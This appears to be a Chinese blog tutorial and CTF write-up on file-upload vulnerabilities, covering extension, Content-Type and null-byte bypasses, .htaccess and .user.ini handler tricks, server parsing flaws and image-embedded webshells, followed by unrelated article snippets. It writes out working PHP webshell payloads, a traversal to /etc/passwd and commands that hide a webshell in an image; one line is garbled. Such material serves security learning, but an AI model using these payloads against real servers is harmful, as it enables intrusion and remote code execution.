当前位置: 首页 > news >正文

文件上传漏洞

<1>概述

漏洞产生原因:服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况。

<2>文件上传绕过

(1)js检测绕过

1.删除js中检测文件的代码;

2.上传的文件改为允许的后缀绕过js检测后再抓包,把后缀名改为可执行的文件。

(2)文件后缀名绕过

1.绕过服务器限制上传文件的后缀

2.有些Apache是允许解析其他文件后缀名,例如httpd.conf中配置以下代码:

AddType application/x-httpd-php .php .phtml

3.Apache解析文件的顺序是从右到左的,遇见不认识的后缀会继续像左判断。

(3)文件类型绕过

可以上传一个符合的文件,然后burp抓包,再更改后缀。这样Content-Type是符合的。

或者抓包,直接更改Content-Type绕过。

(4)截断

%00截断。只有在数据包中含有文件上传目录时才能利用。

        NULL字符截断是最有名的截断漏洞之一,其原理是,PHP内核是由c语言实现的,因此使用了c语言中的一些字符串处理函数,在遇到NULL(\x00)字符时,处理函数就会将它当作结束标记。这个漏洞能够帮助我们去掉变量结尾不想要的字符。例如:

<?php
    $file = $_GET['file'];
    include $file.'tpl.html';
?>
       正常逻辑的话,这段代码并不能直接包含任意文件。但是在NULL字符的帮助下,我们只需要提交:

        ?file= . . / . . / . . /etc/passwd%00

        即可读取到passwd文件,与之类似的是利用路径长度绕过。例如:

        ?file= . . / . . / / / / / /{*N}/etc/passwd

        系统在处理过长的路径的时候会选择主动截断它。不过这两个漏洞随着PHP版本的更新主见消逝了。真正用到的情况越来越少。

        另一个造成截断的情况是 不正确的使用iconv函数:

<?php
    $file = $_GET['file'].'tpl.html';
    include(iconv("UTF-8", "gb2312", $file) );
?>
        在遇到file变量中包含非法UTF-8字符时,iconv函数就会截断这个字符串。

        所以在这个情况,我们只需提交 ?file = shell.jpg%ff   即可,因为在utf-8字符集中,单个“\x80-\xff" 都是非法的。 这个漏洞Windows系统存在,在新版的PHP中也得到修复。

::$DATA绕过
必须是Windows系统,必须是php环境,必须是那个源文件

原理:php在windows系统的时候如果文件名+“::$DATA”会把该词之后的数据当成文件流处理不会检测文件后缀名

例如: shell.php --  shell.php::$DATA

%00截断GET用法:
%00截断:php5.3版本以下GET提交不需要解码,直接在get文件目录处截断

%00截断POST用法

当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL解码

后缀被拦截

更改其后缀为.jpg上传,更改filename后缀为.php ,优先使用.phtml

写入我们的一句话木马,发现存在[] 或者;就没有response。那直接命令执行。

构造<?= `ls /` ?>

\

<?= `cat /flag` ?> 得到flag。

` `命令执行符,作用相当于shell_exec().

<?= 作用相当于 <?php echo

更改文件后缀名,用phtml,send时。但是我们写入🐎的时候,发现

NO! HACKER! your file included '<?'

所以我们需要修改文件内容来绕过,绕过'<?‘检查修改为:

<script language="php">eval($_POST['shell'])</script>

还不是图片。可能存在图片头检查。我们插入图片头GIF89a

在文件里写入:

<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

或者 AddType application/x-httpd-php .jpg

使123.jpg文件可以被当作php代码执行。

 发现<?php 被检测出来。绕过,构造payload:

<script language="php">eval($_POST['shell']);</script>

有时需要用到.user.ini文件

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

看别人题解可知,curl -i  URL后发现不是apache服务器。openresty是Nginx服务器所以.htaccess文件失效了。

上传.user.ini文件,写入

GIF89a

auto_prepend_file=123.jpg

上传123.jpg图片文件写入木马。

<?被过滤,因此用<script language="php">eval($_POST['shell']);</script>。

注意index.php,里面会自动包含123.jpg文件。

蚁剑连接index.php,得到flag。
服务器解析漏洞:
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如
a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格]
这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞
xxx.jpg%00.php
这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
注:php版本要小于5.3.4,5.3.4及以上已经修复该问题
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif
类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
6.如果开发者忘记对文件后缀名进行小写转换,那么可通过大写来进行绕过,如PhP。 后缀名中加入空格绕过黑名单限制,如1.php
利用windows特性,会自动去掉后缀名中最后的”.”,那么可在后缀名中加”.”进行绕过。
如果开发者忘记对上传文件后缀名进行:: D A T A 处 理 , 利 用 w i n d o w s 的 N T F S 文 件 流 特 性 , 可 在 后 缀 名 中 加 ” : : DATA处理,利用windows的NTFS文件流特性,可在后缀名中加” :: DATA处理,利用windows的NTFS文件流特性,可在后缀名中加”::DATA”进行绕过

文件头类型检查文件类型
文件幻术头

JPG        FF D8 FF E0 00 10 4A 46 49 46
GIF        47 49 46 38 39 61(相当于文本的GIF89a)
PNG        89 50 4E 47

图片🐎制作方式

将一句话木马植入图片中,一句话木马最好不要植入在图片的开头(有可能会造成文件损坏),Windows执行语句:copy xx.jpg/b+test.php/a test.jpg;Linux木马植入执行语句:cat test.php >> xx.jpg

copy 1.jpg|png|gif/b + 1.php/a  2.jpg

\b以二进制格式复制、合并文件  \a指定以ascll格式复制、合并文件
 

相关文章:

文件上传漏洞

<1>概述 漏洞产生原因&#xff1a;服务端代码未对客户端上传的文件进行严格的验证和过滤&#xff0c;就容易造成可以上传任意文件的情况。 <2>文件上传绕过 (1)js检测绕过 1.删除js中检测文件的代码&#xff1b; 2.上传的文件改为允许的后缀绕过js检测后再抓包…...

前端还是后端,该怎么选择

在计算机科学领域&#xff0c;前端和后端是两个常见的方向&#xff0c;它们各自拥有独特的特点和职责。本文将对前端和后端进行比较&#xff0c;并总结哪些人适合前端&#xff0c;哪些人适合后端。 一、前端 前端开发主要涉及构建用户界面&#xff0c;处理用户交互和用户体验…...

【Python】Python系列教程-- Python3 循环语句(十七)

文章目录 前言while 循环无限循环while 循环使用 else 语句简单语句组for 语句for...elserange() 函数break 和 continue 语句及循环中的 else 子句pass 语句 前言 往期回顾&#xff1a; Python系列教程–Python3介绍&#xff08;一&#xff09;Python系列教程–Python3 环境…...

chatgpt赋能python:Python如何变为列表

Python如何变为列表 Python是一种高级编程语言&#xff0c;用于快速、轻松地编写软件。它的语法简洁、易于学习&#xff0c;可以用于各种领域&#xff0c;包括Web开发、机器学习和数据科学等。其中&#xff0c;列表是Python的一种基本数据类型&#xff0c;它用于存储一系列相关…...

高频面试八股文用法篇(二) hive中几种排序类型区别

目录 排序函数 1、order by 2、sort by 3、distribute by 4、cluster by 总结 排序类型 1、order by order by是与关系型数据库的用法是一样的。select * from emp order by empno desc; 针对全局数据进行排序&#xff0c;所以最终只会有1个reduce&#xff0c;因…...

linuxOPS基础_linux umask

1、什么是umask umask表示创建文件时的默认权限&#xff08;即创建文件时不需要设置而天生的权限&#xff09; 例如&#xff1a; root用户下&#xff0c;touch a &#xff0c;文件a的默认权限是644 普通用户下&#xff0c;touch b &#xff0c;文件b的默认权限是664 644和…...

K8s基础核心

Kubernetes (K8s) 是一个用于自动化部署、扩展和管理容器化应用程序的开源平台。下面是 Kubernetes 的一些核心概念&#xff1a; Pod&#xff08;容器组&#xff09;&#xff1a;Pod 是 Kubernetes 中最小的可调度和管理的单元 &#xff0c;它可以包含一个或多个相关的容器。这…...

Web开发中的图片管理:策略与实践

前言 在Web开发中&#xff0c;图像是无法忽视的重要组成部分。然而&#xff0c;随着图片数量的增加和高清图像的普及&#xff0c;图片管理变得越来越复杂。在这篇文章中&#xff0c;我们将详细探讨Web开发中的图片管理策略和实践&#xff0c;包括图片优化、存储、分发和加载策…...

SNK施努卡 - 机器视食品检测 食品中视觉检查的作用是什么?

随着工业4.0时代的到来&#xff0c;机器视觉在工业领域的应用场景越来越广泛。在食品工业领域中&#xff0c;机器视觉的应用大大提高了食品生产企业的生产效率&#xff0c;有效的保证了产品品质的水准。 在智能工厂中&#xff0c;机器视觉系统能够实时监控生产工况。机器视觉系…...

【七】设计模式~~~结构型模式~~~桥接模式(Java)

【学习难度&#xff1a;★★★☆☆&#xff0c;使用频率&#xff1a;★★★☆☆】 2.1. 模式动机 在正式介绍桥接模式之前&#xff0c;我先跟大家谈谈两种常见文具的区别&#xff0c;它们是毛笔和蜡笔。假如我们需要大中小3种型号的画笔&#xff0c;能够绘制12种不同的颜色&am…...

Python 教程:使用 pandas 和 glob 库合并多个 Excel 文件

引言 Microsoft Excel 是一种常见的电子表格软件,可用于在表格中存储和处理数据。在某些情况下,您可能需要将多个 Excel 文件合并成单个文件,以方便数据处理和分析。 Python 是一种非常流行的编程语言,具有广泛应用和丰富的库,用于处理数据和文本文件。在本文中,我们将使…...

16. Vue-element-template记住密码

Vue-element-template 记住密码 1. 在登录页面添加记住密码按钮 新增参数 rememberMe # resources/src/views/login/index.vueloginForm: {username: admin,password: 123456,rememberMe: false},添加复选框 # resources/src/views/login/index.vue<div style"margin-…...

Python文件打包成exe文件

文章目录 背景安装pyinstaller开始打包总结 背景 今天因为在线将pdf转为word被收费了&#xff0c;有点不爽&#xff0c;所以自己动手撸一个pdf转word的小工具&#xff0c;想着打包成exe给朋友使用&#xff0c;万一哪天会用到呢&#xff1f; 安装pyinstaller 打开cmd命令窗口…...

【简单实用框架】【十大排序算法直接调用】【可移植】

☀️博客主页&#xff1a;CSDN博客主页&#x1f4a8;本文由 萌萌的小木屋 原创&#xff0c;首发于 CSDN&#x1f4a2;&#x1f525;学习专栏推荐&#xff1a;面试汇总❗️游戏框架专栏推荐&#xff1a;游戏实用框架专栏⛅️点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd;&#…...

微服务架构之RPC调用

在单体应用时&#xff0c;一次服务调用发生在同一台机器上的同一个进程内部&#xff0c;也就是说调用发生在本机内部&#xff0c;因此也被叫作本地方法调用。在进行服务化拆分之后&#xff0c;服务提供者和服务消费者运行在两台不同物理机上的不同进程内&#xff0c;它们之间的…...

One2Multi Graph Autoencoder for Multi-view Graph Clustering

One2Multi Graph Autoencoder for Multi-view Graph Clustering | Proceedings of The Web Conference 2020 (acm.org) 目录 Abstract 1 Introduction 2 Model 2.1 Overview 2.2 One2Multi Graph Convolutional Autoencoder Informative graph convolutional encoder M…...

Java编程实现输入数的阶乘(for循环):读入一个小于 10 的整数 n,输出它的阶乘 n。(for循环)

public class Main { public static void main(String[] args) { Scanner input new Scanner(System.in); //输入提示语句 System.out.print(“请输入一个小于10的数&#xff1a;”); //从键盘获取值 int num input.nextInt(); //定义一个总和 int sum 1; //开始判断输入数是…...

算法提高-搜索-FloodFill和最短路

FloodFill和最短路 FloodFillAcwing 1097. 池塘计数AcWing 1098. 城堡问题AcWing 1106. 山峰和山谷 最短路AcWing 1076. 迷宫问题AcWing 188. 武士风度的牛AcWing 1100. 抓住那头牛 FloodFill Acwing 1097. 池塘计数 //acwing 1097. 池塘计数 #include <iostream> #inc…...

【蓝桥杯单片机第八届国赛真题】

【蓝桥杯单片机第八届国赛真题】 文章目录 【蓝桥杯单片机第八届国赛真题】前言一、真题二、源码 前言 有幸进入国赛&#xff0c;为自己大学最后一个比赛画上完满的句号^^ 下面为蓝桥杯单片机第八届国赛程序部分&#xff0c;功能差不多都实现了&#xff0c;可能存在小bug&#…...

一种简单的Android骨架屏实现方案----0侵入0成本

对骨架屏的理解 什么是骨架屏 所谓骨架屏&#xff0c;就是在页面进行耗时加载时&#xff0c;先展示的等待 UI, 以告知用户程序目前正在运行&#xff0c;稍等即可。 等待的UI大部分是 loading 转圈的弹窗&#xff0c;有的是自己风格的小动画。其实大同小异。而骨架屏无非也是一…...

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇&#xff0c;在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下&#xff1a; 【Note】&#xff1a;如果你已经完成安装等操作&#xff0c;可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作&#xff0c;重…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

el-switch文字内置

el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

Python如何给视频添加音频和字幕

在Python中&#xff0c;给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加&#xff0c;包括必要的代码示例和详细解释。 环境准备 在开始之前&#xff0c;需要安装以下Python库&#xff1a;…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)

Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败&#xff0c;具体原因是客户端发送了密码认证请求&#xff0c;但Redis服务器未设置密码 1.为Redis设置密码&#xff08;匹配客户端配置&#xff09; 步骤&#xff1a; 1&#xff09;.修…...

Linux --进程控制

本文从以下五个方面来初步认识进程控制&#xff1a; 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程&#xff0c;创建出来的进程就是子进程&#xff0c;原来的进程为父进程。…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...